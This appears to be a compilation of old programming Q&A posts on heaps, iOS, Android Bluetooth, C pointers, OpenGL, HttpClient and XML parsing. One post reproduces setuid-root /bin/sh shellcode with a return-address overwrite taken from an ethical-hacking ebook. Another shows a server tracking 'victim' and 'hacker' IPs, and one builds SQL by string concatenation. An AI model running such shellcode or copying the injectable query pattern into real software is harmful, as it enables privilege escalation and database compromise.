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• Is a red-black tree my ideal data structure?

  - by Hugo van der Sanden

  I have a collection of items (big rationals) that I'll be processing. In each case, processing will consist of removing the smallest item in the collection, doing some work, and then adding 0-2 new items (which will always be larger than the removed item). The collection will be initialised with one item, and work will continue until it is empty. I'm not sure what size the collection is likely to reach, but I'd expect in the range 1M-100M items. I will not need to locate any item other than the smallest. I'm currently planning to use a red-black tree, possibly tweaked to keep a pointer to the smallest item. However I've never used one before, and I'm unsure whether my pattern of use fits its characteristics well. 1) Is there a danger the pattern of deletion from the left + random insertion will affect performance, eg by requiring a significantly higher number of rotations than random deletion would? Or will delete and insert operations still be O(log n) with this pattern of use? 2) Would some other data structure give me better performance, either because of the deletion pattern or taking advantage of the fact I only ever need to find the smallest item? Update: glad I asked, the binary heap is clearly a better solution for this case, and as promised turned out to be very easy to implement. Hugo

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• NSDate out of scope

  - by therealtkd

  Having problems with out of scope for NSDate in an iphone app. I have an interface defined like this: @interface MyObject : NSoObject { NSMutableArray *array; BOOL checkThis; NSDate *nextDue; } Now in the implementation I have this: -(id) init { if( (self=[super init]) ) { checkThis = NO; array = [[NSMutableArray alloc] init]; nextDue = [[NSDate date] retain]; NSDate *testDate = [NSDate date]; } return self; } Now, if I trace through the init, before I actually assign the variables checkThis shows as boolean. array shows as pointer 0x0 because it hasn't ben assigned. But the nextDue is showing as 'out of scope'. I don't understand why this is out of scope but the other variables aren't. If I trace through the code until after the variables are assigned, array now shows as being correctly assigned but nextDue is still out of scope. Interestingly, the testDate variable is assigned just fine and the debugger shows this as a valid date. Further interesting point is if I move the mouse over the testDate variable while I am debugging, it shows as an 'NSDate *' type which I would expect since that's its definition. Yet the nextDue, which to me is defined the same way is showing as a '_NSCFDate *'. Any googling I did on the subject said that the retain is the problem, but its actually out of scope before I even try to assign the variable. However, in another class, the same definition for NSDate work ok. It shows as nil before a value is assigned to it. Arghhh

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• Zooming out to fit all annotations in MapKit

  - by Krismutt

  Hey everybody!! I wanna zoom out so that all my annotations(my location and one more annotation) fit to the screen...what do I do wrong?? I get the following warning: "'getDistanceFrom:' is deprecated".... -(void)viewDidLoad { [super viewDidLoad]; mapView = [[MKMapView alloc] initWithFrame:self.view.bounds]; mapView.showsUserLocation = TRUE; mapView.delegate = self; mapView.mapType = MKMapTypeStandard; mapView.zoomEnabled = YES; mapView.scrollEnabled = YES; mapView.userInteractionEnabled = YES; [mapView.userLocation setTitle:@"Nuvarande plats"]; [mapView.userLocation setSubtitle:@"Du är här"]; [self.view insertSubview:mapView atIndex:0]; self.locationManager = [[[CLLocationManager alloc] init] autorelease]; locationManager.delegate = self; locationManager.desiredAccuracy = kCLLocationAccuracyBest; [locationManager startUpdatingLocation]; [mapView release]; } -(void) locationManager: (CLLocationManager *)manager didUpdateToLocation:(CLLocation *)newLocation fromLocation:(CLLocation *)oldLocation{ NSLog (@"Position uppdateras" ); location = newLocation.coordinate; if (friZoom) { MKCoordinateRegion region; region.center.latitude = location.latitude; region.center.longitude= location.longitude; MKCoordinateSpan span; span.latitudeDelta = 0.01; span.longitudeDelta = 0.01; region.span = span; [mapView setRegion:region animated:TRUE];} } - (MKAnnotationView *)mapView:(MKMapView *)mapview viewForAnnotation:(id <MKAnnotation>)knappnal { if ([knappnal isKindOfClass:MKUserLocation.class]) { return nil; } MKPinAnnotationView *knappnalView = (MKPinAnnotationView*)[mapview dequeueReusableAnnotationViewWithIdentifier:@"annot"]; if (!knappnalView) { knappnalView = [[[MKPinAnnotationView alloc] initWithAnnotation:knappnal reuseIdentifier:@"annot"] autorelease]; knappnalView.pinColor = MKPinAnnotationColorRed; knappnalView.animatesDrop = YES; knappnalView.canShowCallout = YES; } else { knappnalView.annotation = knappnal; } return knappnalView; } - (IBAction)storeLocationInfo:(id) sender{ SparaPosition *position=[[SparaPosition alloc] initWithCoordinate:location]; [mapView addAnnotation:position]; savedPosition = location; } - (IBAction)visaPosition:(id)sender{ CLLocationCoordinate2D southWest =location; CLLocationCoordinate2D northEast =savedPosition; southWest.latitude = MIN(southWest.latitude, location.latitude); southWest.longitude = MIN(southWest.longitude, location.longitude); northEast.latitude = MAX(northEast.latitude, savedPosition.latitude); northEast.longitude = MAX(northEast.longitude, savedPosition.longitude); CLLocation *locSouthWest = [[CLLocation alloc] initWithLatitude:southWest.latitude longitude:southWest.longitude]; CLLocation *locNorthEast = [[CLLocation alloc] initWithLatitude:northEast.latitude longitude:northEast.longitude]; CLLocationDistance meters = [locSouthWest getDistanceFrom:locNorthEast]; MKCoordinateRegion region; region.center.latitude = (southWest.latitude + northEast.latitude) / 2.0; region.center.longitude = (southWest.longitude + northEast.longitude) / 2.0; region.span.latitudeDelta = meters / 111319.5; region.span.longitudeDelta = 0.0; region = [mapView regionThatFits:region]; [mapView setRegion:region animated:YES]; [locSouthWest release]; [locNorthEast release]; } Would really appreciate an answer!

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• Connecting Android device to multiple Bluetooth serial embedded peers

  - by TacB0sS

  I'm trying to find a solution for this setup: I have a single Android device, which I would like to connect to multiple serial embedded devices... And here is the thing, using the "Normal" way to retrieve the Bluetooth socket, doesn't work on all devices, and while it does, I can connect to multiple devices, and send and receive data to and from multiple devices. public final synchronized void connect() throws ConnectionException { if (socket != null) throw new IllegalStateException("Error socket is not null!!"); connecting = true; lastException = null; lastPacket = null; lastHeartBeatReceivedAt = 0; log.setLength(0); try { socket = fetchBT_Socket_Normal(); connectToSocket(socket); listenForIncomingSPP_Packets(); connecting = false; return; } catch (Exception e) { socket = null; logError(e); } try { socket = fetchBT_Socket_Workaround(); connectToSocket(socket); listenForIncomingSPP_Packets(); connecting = false; return; } catch (Exception e) { socket = null; logError(e); } connecting = false; if (socket == null) throw new ConnectionException("Error creating RFcomm socket for" + this); } private BluetoothSocket fetchBT_Socket_Normal() throws Exception { /* The getType() is a hex 0xXXXX value agreed between peers --- this is the key (in my case) to multiple connections in the "Normal" way */ String uuid = getType() + "1101-0000-1000-8000-00805F9B34FB"; try { logDebug("Fetching BT RFcomm Socket standard for UUID: " + uuid + "..."); socket = btDevice.createRfcommSocketToServiceRecord(UUID.fromString(uuid)); return socket; } catch (Exception e) { logError(e); throw e; } } private BluetoothSocket fetchBT_Socket_Workaround() throws Exception { Method m; int connectionIndex = 1; try { logDebug("Fetching BT RFcomm Socket workaround index " + connectionIndex + "..."); m = btDevice.getClass().getMethod("createRfcommSocket", new Class[]{int.class}); socket = (BluetoothSocket) m.invoke(btDevice, connectionIndex); return socket; } catch (Exception e1) { logError(e1); throw e1; } } private void connectToSocket(BluetoothSocket socket) throws ConnectionException { try { socket.connect(); } catch (IOException e) { try { socket.close(); } catch (IOException e1) { logError("Error while closing socket", e1); } finally { socket = null; } throw new ConnectionException("Error connecting to socket with" + this, e); } } And here is the thing, while on phones which the "Normal" way doesn't work, the "Workaround" way provides a solution for a single connection. I've searched far and wide, but came up with zip. The problem with the workaround is mentioned in the last link, both connection uses the same port, which in my case, causes a block, where both of the embedded devices can actually send data, that is not been processed on the Android, while both embedded devices can receive data sent from the Android. Did anyone handle this before? There is a bit more reference here, UPDATE: Following this (that I posted earlier) I wanted to give the mPort a chance, and perhaps to see other port indices, and how other devices manage them, and I found out the the fields in the BluetoothSocket object are different while it is the same class FQN in both cases: Detils from an HTC Vivid 2.3.4, uses the "workaround" Technic: The Socket class type is: [android.bluetooth.BluetoothSocket] mSocket BluetoothSocket (id=830008629928) EADDRINUSE 98 EBADFD 77 MAX_RFCOMM_CHANNEL 30 TAG "BluetoothSocket" (id=830002722432) TYPE_L2CAP 3 TYPE_RFCOMM 1 TYPE_SCO 2 mAddress "64:9C:8E:DC:56:9A" (id=830008516328) mAuth true mClosed false mClosing AtomicBoolean (id=830007851600) mDevice BluetoothDevice (id=830007854256) mEncrypt true mInputStream BluetoothInputStream (id=830008688856) mLock ReentrantReadWriteLock (id=830008629992) mOutputStream BluetoothOutputStream (id=830008430536) **mPort 1** mSdp null mSocketData 3923880 mType 1 Detils from an LG-P925 2.2.2, uses the "normal" Technic: The Socket class type is: [android.bluetooth.BluetoothSocket] mSocket BluetoothSocket (id=830105532880) EADDRINUSE 98 EBADFD 77 MAX_RFCOMM_CHANNEL 30 TAG "BluetoothSocket" (id=830002668088) TYPE_L2CAP 3 TYPE_RFCOMM 1 TYPE_SCO 2 mAccepted false mAddress "64:9C:8E:B9:3F:77" (id=830105544600) mAuth true mClosed false mConnected ConditionVariable (id=830105533144) mDevice BluetoothDevice (id=830105349488) mEncrypt true mInputStream BluetoothInputStream (id=830105532952) mLock ReentrantReadWriteLock (id=830105532984) mOutputStream BluetoothOutputStream (id=830105532968) mPortName "" (id=830002606256) mSocketData 0 mSppPort BluetoothSppPort (id=830105533160) mType 1 mUuid ParcelUuid (id=830105714176) Anyone have some insight...

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• getting boost::gregorian dates from a string

  - by Chris H

  I asked a related question yesterday http://stackoverflow.com/questions/2612343/basic-boost-date-time-input-format-question It worked great for posix_time ptime objects. I'm have trouble adapting it to get Gregorian date objects. try { stringstream ss; ss << dateNode->GetText(); using boost::local_time::local_time_input_facet; //using boost::gregorian; ss.imbue(locale(locale::classic(), new local_time_input_facet("%a, %d %b %Y "))); ss.exceptions(ios::failbit); ss>>dayTime; } catch (...) { cout<<"Failed to get a date..."<<endl; //cout<<e.what()<<endl; throw; } The dateNode-GetText() function returns a pointer to a string of the form Sat, 10 Apr 2010 19:30:00 The problem is I keep getting an exception. So concretely the question is, how do I go from const char * of the given format, to a boost::gregorian::date object? Thanks again.

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• SimpleModal can't bind event onShow

  - by Higgs Boson

  Hi All I can't seem to get this working, some help would be greatly appreciated. I have a page with the following code: $('.editname').click(function (e) { var src = "test.html"; $.modal('<iframe src="' + src + '" height="480" width="640" style="border:0">', { closeHTML:"<div class='no simplemodal-close'>Close</div>", containerCss:{ backgroundColor:"#fff", border:"10px solid #333", height:480, padding:"10px", width:640 }, opacity:50, overlayCss: {backgroundColor:"#fff"}, onShow: function (dialog) { $('.saveit', dialog.data[0]).click(function () { // close the dialog $.modal.close(); }); } }); }); The code for test.html (the contents of the modal window) is: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Untitled Document</title> <link href="css/reset.css" rel="stylesheet" type="text/css" /> <link href="css/layout.css" rel="stylesheet" type="text/css" /> <link href="css/text.css" rel="stylesheet" type="text/css" /> </head> <body> <h1>Test</h1> <div class='pointer spacertop'><a href="#" class="saveit">Save</a></div> </body> </html> The modal window appears, however clicking on the Save button (class saveit) in the modal window does not fire the click function. It does nothing. Please help. Thank you in advance.

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• I have this code .... Ethical Hacking

  - by kmitnick

  hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

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• Dynamically specify the type in C#

  - by Lirik

  I'm creating a custom DataSet and I'm under some constrains: I want the user to specify the type of the data which they want to store. I want to reduce type-casting because I think it will be VERY expensive. I will use the data VERY frequently in my application. I don't know what type of data will be stored in the DataSet, so my initial idea was to make it a List of objects, but I suspect that the frequent use of the data and the need to type-cast will be very expensive. The basic idea is this: class DataSet : IDataSet { private Dictionary<string, List<Object>> _data; /// <summary> /// Constructs the data set given the user-specified labels. /// </summary> /// <param name="labels"> /// The labels of each column in the data set. /// </param> public DataSet(List<string> labels) { _data = new Dictionary<string, List<object>>(); foreach (string label in labels) { _data.Add(label, new List<object>()); } } #region IDataSet Members public List<string> DataLabels { get { return _data.Keys.ToList(); } } public int Count { get { _data[_data.Keys[0]].Count; } } public List<object> GetValues(string label) { return _data[label]; } public object GetValue(string label, int index) { return _data[label][index]; } public void InsertValue(string label, object value) { _data[label].Insert(0, value); } public void AddValue(string label, object value) { _data[label].Add(value); } #endregion } A concrete example where the DataSet will be used is to store data obtained from a CSV file where the first column contains the labels. When the data is being loaded from the CSV file I'd like to specify the type rather than casting to object. The data could contain columns such as dates, numbers, strings, etc. Here is what it could look like: "Date","Song","Rating","AvgRating","User" "02/03/2010","Code Monkey",4.6,4.1,"joe" "05/27/2009","Code Monkey",1.2,4.5,"jill" The data will be used in a Machine Learning/Artificial Intelligence algorithm, so it is essential that I make the reading of data very fast. I want to eliminate type-casting as much as possible, since I can't afford to cast from 'object' to whatever data type is needed on every read. I've seen applications that allow the user to pick the specific data type for each item in the csv file, so I'm trying to make a similar solution where a different type can be specified for each column. I want to create a generic solution so I don't have to return a List<object> but a List<DateTime> (if it's a DateTime column) or List<double> (if it's a column of doubles). Is there any way that this can be achieved? Perhaps my approach is wrong, is there a better approach to this problem?

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• C pointers and addresses

  - by yCalleecharan

  Hi, I always thought that *&p = p = &*p in C. I tried this code: #include <stdio.h> #include <stdlib.h> char a[] = "programming"; char *ap = &a[4]; int main(void) { printf("%x %x %x\n", ap, &*(ap), *&(ap)); /* line 13 */ printf("%x %x %x\n\n", ap+1, &*(ap+1), *&(ap+1)); /* line 14 */ } The first printf line (line 13) gives me the addresses: 40b0a8 40b0a8 40b0a8 which are the same as expected. But when I added the second printf line, Borland complains: "first.c": E2027 Must take address of a memory location in function main at line 14 I was expecting to get: 40b0a9 40b0a9 40b0a9. It seems that the expression *&(ap+1) on line 14 is the culprit here. I thought all three pointer expressions on line 14 are equivalent. Why am I thinking wrong? A second related question: The line char *ap = a; points to the first element of array a. I used char *ap = &a[4]; to point to the 5th element of array a. Is the expression char *ap = a; same as the expression char *ap = &a[0]; Is the last expression only more verbose than the previous one? Thanks a lot...

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• c - dereferencing issue

  - by Joe

  Hi, I have simplified an issue that I've been having trying to isolate the problem, but it is not helping. I have a 2 dimensional char array to represent memory. I want to pass a reference to that simulation of memory to a function. In the function to test the contents of the memory I just want to iterate through the memory and print out the contents on each row. The program prints out the first row and then I get seg fault. My program is as follows: #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <string.h> void test_memory(char*** memory_ref) { int i; for(i = 0; i < 3; i++) { printf("%s\n", *memory_ref[i]); } } int main() { char** memory; int i; memory = calloc(sizeof(char*), 20); for(i = 0; i < 20; i++) { memory[i] = calloc(sizeof(char), 33); } memory[0] = "Mem 0"; memory[1] = "Mem 1"; memory[2] = "Mem 2"; printf("memory[1] = %s\n", memory[1]); test_memory(&memory); return 0; } This gives me the output: memory[1] = Mem 1 Mem 0 Segmentation fault If I change the program and create a local version of the memory in the function by dereferencing the memory_ref, then I get the right output: So: #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <string.h> void test_memory(char*** memory_ref) { char** memory = *memory_ref; int i; for(i = 0; i < 3; i++) { printf("%s\n", memory[i]); } } int main() { char** memory; int i; memory = calloc(sizeof(char*), 20); for(i = 0; i < 20; i++) { memory[i] = calloc(sizeof(char), 33); } memory[0] = "Mem 0"; memory[1] = "Mem 1"; memory[2] = "Mem 2"; printf("memory[1] = %s\n", memory[1]); test_memory(&memory); return 0; } gives me the following output: memory[1] = Mem 1 Mem 0 Mem 1 Mem 2 which is what I want, but making a local version of the memory is useless because I need to be able to change the values of the original memory from the function which I can only do by dereferencing the pointer to the original 2d char array. I don't understand why I should get a seg fault on the second time round, and I'd be grateful for any advice. Many thanks Joe

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• Android ANR keyDispatchingTimedOut Error while continuous tapping on screen.

  - by user519846

  Hi All, I am getting Application Not Responding (ANR) dialog while continuous tapping on the screen. There is no view on the screen where i am tapping. Frequency of this issue is less but still i am not able to remove it completely. Here i am attaching the log what i caught during this error. ERROR/ActivityManager(1322): ANR in com.test.mj.and.ui (com.test.mj.and.ui/.TermsAndCondActivity) ERROR/ActivityManager(1322): Reason: keyDispatchingTimedOut ERROR/ActivityManager(1322): Parent: com.test.mj.and.ui/.SplashActivity ERROR/ActivityManager(1322): Load: 6.59 / 6.37 / 5.21 ERROR/ActivityManager(1322): CPU usage from 11430ms to 2196ms ago: ERROR/ActivityManager(1322): rtal.mj.and.ui: 9% = 7% user + 1% kernel / faults: 649 minor ERROR/ActivityManager(1322): system_server: 4% = 2% user + 2% kernel / faults: 10 minor ERROR/ActivityManager(1322): logcat: 3% = 1% user + 1% kernel / faults: 675 minor 1 major ERROR/ActivityManager(1322): synaptics_wq: 1% = 0% user + 1% kernel ERROR/ActivityManager(1322): ami304d: 1% = 0% user + 0% kernel ERROR/ActivityManager(1322): .process.lghome: 1% = 0% user + 0% kernel / faults: 47 minor ERROR/ActivityManager(1322): sync_supers: 0% = 0% user + 0% kernel ERROR/ActivityManager(1322): droid.DunServer: 0% = 0% user + 0% kernel / faults: 6 minor ERROR/ActivityManager(1322): events/0: 0% = 0% user + 0% kernel ERROR/ActivityManager(1322): oid.inputmethod: 0% = 0% user + 0% kernel / faults: 2 minor ERROR/ActivityManager(1322): m.android.phone: 0% = 0% user + 0% kernel / faults: 2 minor ERROR/ActivityManager(1322): ndroid.settings: 0% = 0% user + 0% kernel ERROR/ActivityManager(1322): sh: 0% = 0% user + 0% kernel / faults: 110 minor ERROR/ActivityManager(1322): -flush-179:0: 0% = 0% user + 0% kernel ERROR/ActivityManager(1322): TOTAL: 19% = 13% user + 6% kernel WARN/WindowManager(1322): Continuing to wait for key to be dispatched WARN/WindowManager(1322): No window to dispatch pointer action 1 Can anyone please help me to solve this issue? Thanks in advance.

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• opengl 3d texture issue

  - by user1478217

  Hi i'm trying to use a 3d texture in opengl to implement volume rendering. Each voxel has an rgba colour value and is currently rendered as a screen facing quad.(for testing purposes). I just can't seem to get the sampler to give me a colour value in the shader. The quads always end up black. When I change the shader to generate a colour (based on xyz coords) then it works fine. I'm loading the texture with the following code: glGenTextures(1, &tex3D); glBindTexture(GL_TEXTURE_3D, tex3D); unsigned int colours[8]; colours[0] = Colour::AsBytes<unsigned int>(Colour::Blue); colours[1] = Colour::AsBytes<unsigned int>(Colour::Red); colours[2] = Colour::AsBytes<unsigned int>(Colour::Green); colours[3] = Colour::AsBytes<unsigned int>(Colour::Magenta); colours[4] = Colour::AsBytes<unsigned int>(Colour::Cyan); colours[5] = Colour::AsBytes<unsigned int>(Colour::Yellow); colours[6] = Colour::AsBytes<unsigned int>(Colour::White); colours[7] = Colour::AsBytes<unsigned int>(Colour::Black); glTexImage3D(GL_TEXTURE_3D, 0, GL_RGBA, 2, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, colours); The colours array contains the correct data, i.e. the first four bytes have values 0, 0, 255, 255 for blue. Before rendering I bind the texture to the 2nd texture unit like so: glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_3D, tex3D); And render with the following code: shaders["DVR"]->Use(); shaders["DVR"]->Uniforms["volTex"].SetValue(1); shaders["DVR"]->Uniforms["World"].SetValue(Mat4(vl_one)); shaders["DVR"]->Uniforms["viewProj"].SetValue(cam->GetViewTransform() * cam->GetProjectionMatrix()); QuadDrawer::DrawQuads(8); I have used these classes for setting shader params before and they work fine. The quaddrawer draws eight instanced quads. The vertex shader code looks like this: #version 330 layout(location = 0) in vec2 position; layout(location = 1) in vec2 texCoord; uniform sampler3D volTex; ivec3 size = ivec3(2, 2, 2); uniform mat4 World; uniform mat4 viewProj; smooth out vec4 colour; void main() { vec3 texCoord3D; int num = gl_InstanceID; texCoord3D.x = num % size.x; texCoord3D.y = (num / size.x) % size.y; texCoord3D.z = (num / (size.x * size.y)); texCoord3D /= size; texCoord3D *= 2.0; texCoord3D -= 1.0; colour = texture(volTex, texCoord3D); //colour = vec4(texCoord3D, 1.0); gl_Position = viewProj * World * vec4(texCoord3D, 1.0) + (vec4(position.x, position.y, 0.0, 0.0) * 0.05); } uncommenting the line where I set the colour value equal to the texcoord works fine, and makes the quads coloured. The fragment shader is simply: #version 330 smooth in vec4 colour; out vec4 outColour; void main() { outColour = colour; } So my question is, what am I doing wrong, why is the sampler not getting any colour values from the 3d texture? [EDIT] Figured it out but can't self answer (new user): As soon as I posted this I figured it out, I'll put the answer up to help anyone else (it's not specifically a 3d texture issue, and i've also fallen afoul of it before, D'oh!). I didn't generate mipmaps for the texture, and the default magnification/minification filters weren't set to either GL_LINEAR, or GL_NEAREST. Boom! no textures. Same thing happens with 2d textures.

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• HttpClient multithread performance

  - by pepper

  I have an application which downloads more than 4500 html pages from 62 target hosts using HttpClient (4.1.3 or 4.2-beta). It runs on Windows 7 64-bit. Processor - Core i7 2600K. Network bandwidth - 54 Mb/s. At this moment it uses such parameters: DefaultHttpClient and PoolingClientConnectionManager; Also it hasIdleConnectionMonitorThread from http://hc.apache.org/httpcomponents-client-ga/tutorial/html/connmgmt.html; Maximum total connections = 80; Default maximum connections per route = 5; For thread management it uses ForkJoinPool with the parallelism level = 5 (Do I understand correctly that it is a number of working threads?) In this case my network usage (in Windows task manager) does not rise above 2.5%. To download 4500 pages it takes 70 minutes. And in HttpClient logs I have such things: DEBUG ForkJoinPool-2-worker-1 [org.apache.http.impl.conn.PoolingClientConnectionManager]: Connection released: [id: 209][route: {}-http://stackoverflow.com][total kept alive: 6; route allocated: 1 of 5; total allocated: 10 of 80] Total allocated connections do not raise above 10-12, in spite of that I've set it up to 80 connections. If I'll try to rise parallelism level to 20 or 80, network usage remains the same but a lot connection time-outs will be generated. I've read tutorials on hc.apache.org (HttpClient Performance Optimization Guide and HttpClient Threading Guide) but they does not help. Task's code looks like this: public class ContentDownloader extends RecursiveAction { private final HttpClient httpClient; private final HttpContext context; private List<Entry> entries; public ContentDownloader(HttpClient httpClient, List<Entry> entries){ this.httpClient = httpClient; context = new BasicHttpContext(); this.entries = entries; } private void computeDirectly(Entry entry){ final HttpGet get = new HttpGet(entry.getLink()); try { HttpResponse response = httpClient.execute(get, context); int statusCode = response.getStatusLine().getStatusCode(); if ( (statusCode >= 400) && (statusCode <= 600) ) { logger.error("Couldn't get content from " + get.getURI().toString() + "\n" + response.toString()); } else { HttpEntity entity = response.getEntity(); if (entity != null) { String htmlContent = EntityUtils.toString(entity).trim(); entry.setHtml(htmlContent); EntityUtils.consumeQuietly(entity); } } } catch (Exception e) { } finally { get.releaseConnection(); } } @Override protected void compute() { if (entries.size() <= 1){ computeDirectly(entries.get(0)); return; } int split = entries.size() / 2; invokeAll(new ContentDownloader(httpClient, entries.subList(0, split)), new ContentDownloader(httpClient, entries.subList(split, entries.size()))); } } And the question is - what is the best practice to use multi threaded HttpClient, may be there is a some rules for setting up ConnectionManager and HttpClient? How can I use all of 80 connections and raise network usage? If necessary, I will provide more code.

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• can't increment Glib::ustring::iterator (getting "invalid lvalue in increment" compiler error)

  - by davka

  in the following code: int utf8len(char* s, int len) { Glib::ustring::iterator p( string::iterator(s) ); Glib::ustring::iterator e ( string::iterator(s+len) ); int i=0; for (; p != e; p++) // ERROR HERE! i++; return i; } I get the compiler error on the for line, which is sometimes "invalid lvalue in increment", and sometimes "ISO C++ forbids incrementing a pointer of type etc... ". Yet, the follwing code: int utf8len(char* s) { Glib::ustring us(s); int i=0; for (Glib::ustring::iterator p = us.begin(); p != us.end(); p++) i++; return i; } compiles and works fine. according the Glib::ustring documentation and the include file, ustring iterator can be constructed from std::string iterator, and has operator++() defined. Weird? BONUS QUESTION :) Is there a difference in C++ between the 2 ways of defining a variable: classname ob1( initval ); classname ob1 = initval; I believed that they are synonymous; yet, if I change Glib::ustring::iterator p( string::iterator(s) ); to Glib::ustring::iterator p = string::iterator(s); I get a compiler error (gcc 4.1.2) conversion from ‘__gnu_cxx::__normal_iterator, std::allocator ’ to non-scalar type ‘Glib::ustring_Iterator<__gnu_cxx::__normal_iterator, std::allocator ’ requesed thanks a lot!

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• Socket in C: recv overwrite a char[]

  - by Possa

  Hi all, I'm trying to make a little client-server script like many others that I've done in the past. But in this one I have a problem. It is better if I post the code and the output it give me. Code: #include <mysql.h> //not important now #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <string.h> //constant definition #define SERVER_PORT 2121 #define LINESIZE 21 //global var definition char victim_ip[LINESIZE], file_write[LINESIZE], hacker_ip[LINESIZE]; //function void leggi (int); //not use now for debugging purpose //void scriviDB (); //not important now main () { int sock, client_len, fd; struct sockaddr_in server, client; // transport end point if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("system call socket fail"); exit(1); } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr("10.10.10.1"); server.sin_port = htons(SERVER_PORT); // binding address at transport end point if (bind(sock, (struct sockaddr *)&server, sizeof server) == -1) { perror("system call bind fail"); exit(1); } //fprintf(stderr, "Server open: listening.\n"); listen(sock, 5); /* managae client connection */ while (1) { client_len = sizeof(client); if ((fd = accept(sock, (struct sockaddr *)&client, &client_len)) < 0) { perror("accepting connection"); exit(1); } strcpy(hacker_ip, inet_ntoa(client.sin_addr)); printf("1 %s\n", hacker_ip); //debugging purpose //leggi(fd); ////////////////////////// //receive client recv(fd, victim_ip, LINESIZE, 0); victim_ip[sizeof(victim_ip)] = '\0'; printf("2 %s\n", hacker_ip); //debugging purpose recv(fd, file_write, LINESIZE, 0); file_write[sizeof(file_write)] = '\0'; printf("3 %s\n", hacker_ip); //debugging purpose printf("%s@%s for %s\n", file_write, victim_ip, hacker_ip); //send to client send(fd, hacker_ip, 40, 0); //now is hacker_ip for debug ///////////////////////// close(fd); }//end while exit(0); } //end main Client send string: ./send -i 10.10.10.4 -f filename.ext so the script send -i (IP) and -f (FILE) at the server. Here's my output server side: 1 10.10.10.6 2 10.10.10.6 3 [email protected] for As you can see the printf(3) and the printf(ip,file,ip) fail. I don't know how and where but someone overwrite my hacker_ip string. Thanks for your help! :)

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• Pulling record from mySQL database only working for userid and not email

  - by user2908467

  This function works because I search by userid: private void showList_Click(object sender, EventArgs e) { int id = 0; for (int i = 0; i <= sqlClient.Count("UserList"); i++) { Dictionary<string, string> dik = sqlClient.Select("UserList", "userid = " + id); var lines = dik.Select(kv => kv.Key + ": " + kv.Value.ToString()); userList.AppendText(string.Join(Environment.NewLine, lines)); userList.AppendText(Environment.NewLine); userList.AppendText("--------------------------------------"); id++; } } This function does not work because I search by email: private void login_Click(object sender, EventArgs e) { string email = lemail.Text; Dictionary<string, string> dik = sqlClient.Select("UserList", "firstname = " + email); var lines = dik.Select(kv => kv.Key + ": " + kv.Value.ToString()); logged.AppendText(string.Join(Environment.NewLine, lines)); } This is the error message I receive when I click on the login button: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@aol.com' at line 1 The email I searched for in the database was "[email protected]" without quotes. I'm lead to believe by the error message the @ sign is causing conflict as I know it is a special character but I am having a hard time figuring out what phrase to search for to help me. Also, here is the function that is being called: public Dictionary<string, string> Select(string table, string WHERE) { //This methods selects from the database, it retrieves data from it. //You must make a dictionary to use this since it both saves the column //and the value. i.e. "age" and "33" so you can easily search for values. //Example: SELECT * FROM names WHERE name='John Smith' // This example would retrieve all data about the entry with the name "John Smith" //Code = Dictionary<string, string> myDictionary = Select("names", "name='John Smith'"); //This code creates a dictionary and fills it with info from the database. string query = "SELECT * FROM " + table + " WHERE " + WHERE + ""; Dictionary<string, string> selectResult = new Dictionary<string, string>(); if (this.Open()) { MySqlCommand cmd = new MySqlCommand(query, conn); MySqlDataReader dataReader = cmd.ExecuteReader(); try { while (dataReader.Read()) { for (int i = 0; i < dataReader.FieldCount; i++) { selectResult.Add(dataReader.GetName(i).ToString(), dataReader.GetValue(i).ToString()); } } dataReader.Close(); } catch { } this.Close(); return selectResult; } else { return selectResult; } } My database table is called "UserList" The fields in order are as follows: userid, email, password, lastname, firstname Any help would be greatly appreciated. This site is amazing!

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• XML child node attribute value

  - by c0mrade

  I'm trying to read xml file, ex : <entry> <title>FEED TITLE</title> <id>5467sdad98787ad3149878sasda</id> <tempi type="application/xml"> <conento xmlns="http://mydomainname.com/xsd/radiofeed.xsd" madeIn="USA" /> </tempi> </entry> Here is the code I have so far : public void parseXML(String xml) { try { InputStream inputStream = new ByteArrayInputStream(xml.getBytes()); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); doc.getDocumentElement().normalize(); System.out.println("Root element " + doc.getDocumentElement().getNodeName()); NodeList nodeLst = doc.getElementsByTagName("entry"); System.out.println("Information of all entries"); for (int s = 0; s < nodeLst.getLength(); s++) { Node fstNode = nodeLst.item(s); if (fstNode.getNodeType() == Node.ELEMENT_NODE) { Element fstElmnt = (Element) fstNode; NodeList title = fstElmnt.getElementsByTagName("title").item(0).getChildNodes(); System.out.println("Title : " + ((Node) title.item(0)).getNodeValue()); NodeList id = fstElmnt.getElementsByTagName("id").item(0).getChildNodes(); System.out.println("Id: " + ((Node) update.item(0)).getNodeValue()); NodeList contento= fstElmnt.getElementsByTagName("tempi").item(0).getChildNodes(); System.out.println("Contento : " + ((Node) content.item(0)).getFirstChild().getAttributes()); // with this line above I'm having problems, I get null pointer exception } } } 